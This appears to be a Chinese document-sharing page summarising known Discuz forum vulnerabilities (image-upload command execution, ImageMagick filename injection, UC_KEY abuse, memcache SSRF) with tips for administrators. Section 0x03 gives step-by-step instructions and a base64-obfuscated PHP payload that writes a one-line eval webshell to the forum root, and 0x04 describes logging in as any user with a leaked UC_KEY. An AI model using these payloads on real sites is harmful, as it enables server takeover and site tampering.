DZ网站快照劫持漏洞【最全整理】

相关主题
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

0x00 网站快照劫持:DZ常见漏洞利用分析

0x01Discuz上传图片附件实现远程命令执行漏洞

漏洞产生过程:forum_image.php中的$w,$h变量可控,末处理直接传入Thumb()函数,经该函数传入Thumb_IM()函数,最终调用exec()导致远程命令执行漏洞。

通过分析可知:需要forum.php调用image_class模块调用图像预览功能,后台上传设置为ImagicMagick库,默认为GD库渲染。前台登录发贴上传图片附件。

提示: forum.php是常被利用的文件(论坛首页入口组件),论坛附件上传是个突破口。

0x02ImageMagick远程执行漏洞分析及利用

目前所有版本的Graphicsmagick和ImageMagick都支持打开文件,当文件名的第一个字符为‘|’,则文件名会被传递给shell程序执行,导致(可能远程)代码执行。

提示:ImageMagick图片程序对文件名处理机制存在漏洞

0x03Discuz GetShell(获取权限)漏洞EXP

1.注册任意账户,登陆用户,发表blog日志(注意是日志)

2.添加图片,选择网络图片,地址

{${fputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV 2YWwoJF9QT1NUW2NdKTsgPz5vaw))}}

3.访问日志,论坛根目录下生成demo.php,一句话密码c

由0x01、0x02与0x03可知论坛上传图片是被利用最常见的漏洞,管理员们要注意把控。

0x04 Discuz获取UC key Getshell(获取权限)。

知道UC的appkey的情况下getshell,问题的根源在于api/uc.php

几乎所有版本都可以(在得到uc_key情况下)/api/uc.php里面有个synlogin方法

只要网上随便找个以前uckeygetshell的脚本加密一下这个'time='.time().'&action=synlogin&uid=你

要登录的用户的id';得到code后直接访问域名/api/uc.php?code=你加密后的code,就能登录了,admin

管理员也是可以登录的。

Discuz 的UCenter创始人密码可被爆破,访问登录路径/uc_server/admin.php实现爆破修改文件默认路径,robots.txt注意目录防护,修改UC key加强防范。

有乌云白帽发现Discuz!程序存在一个安全bug,在得知UC_KEY的情况下,可以轻松向受害站点写入后门代码,可对服务器进行渗透或者对网站进行篡改,挂马。获取到的UC_KEY,可重置论坛任意用户的密码,并清除安全提问。利用UC_KEY可登录任意用户。

UC_KEY的泄漏主要有以下几个途径:

1.整站打包备份被下载

2.文件备份压缩包被扫描下载

3.SVN等源码管理系统泄漏代码

4.服务器入侵被提了UC_KEY用作后门等等

UCenter Server是不能通过uc_key来获取该服务器上的webshell的,不过可以通过uc_key重置用户口令。

获取uc_key可以通过“config\config_ucenter.php”文件获取。

如果系统开启了防水墙会禁止危险脚本访问,对利用代码进行屏蔽和阻止,导致Webshell 获取失败。对于X2.5系列,则可以轻松获取Webshell,执行命令“php uc_key.php”命令后,会直接修改“config\config_ucenter.php”。

由0x04可知,UC key是十分重要的,最好定期修改,如果网站被黑内容被篡改找不到任何突破口,请先修改UC key!

0x05Discuz redis/memcache+ssrf Getshell漏洞问题

Discuz存在SSRF漏洞,在配置了memcache的情况下,攻击者可以利用ssrf通过memcache中转,向磁盘上写入Webshell恶意代码,从而造成数据库泄漏。

解法一:

更新替换官方补丁文件:/source/function/function_core.php

解法二:

停止使用或卸载memcache

windows下的Memcache卸载方法:

memcached -d stop

memcached -d remove

sc delete "Memcached Server"

linux memcached 卸载方法:

1、首先查找你的memcached所在目录,可用如下命令查找名为memcached的文件夹

find / -name memcached

2、结束memcached进程

killall memcached

3、删除memcached目录及文件

rm -rf /www/wdlinux/memcached

rm -rf /www/wdlinux/init.d/memcached

4、关闭memcached开机启动

chkconfig memcached off

5、把memcached移出开机启动

chkconfig --del memcached

一般的小站用不着redis/memcache缓解网站压力,所以基本是大站才会受影响。redis/memcache是干嘛的呢?其实可以把它们理解成一个高性能的数据库,当网站的缓存很大的时候,利用redis/memcache来处理缓存可以提高网站的性能dz的后台也可以看到是否在使用redis/memcache。

如何用redis/memcache做Mysql缓存层呢?

memcached和redis的区别。前者终究是个缓存,不可能永久保存数据(LRU机制),支持分布式,后者除了缓存的同时也支持把数据持久化到磁盘等。

相关文档
最新文档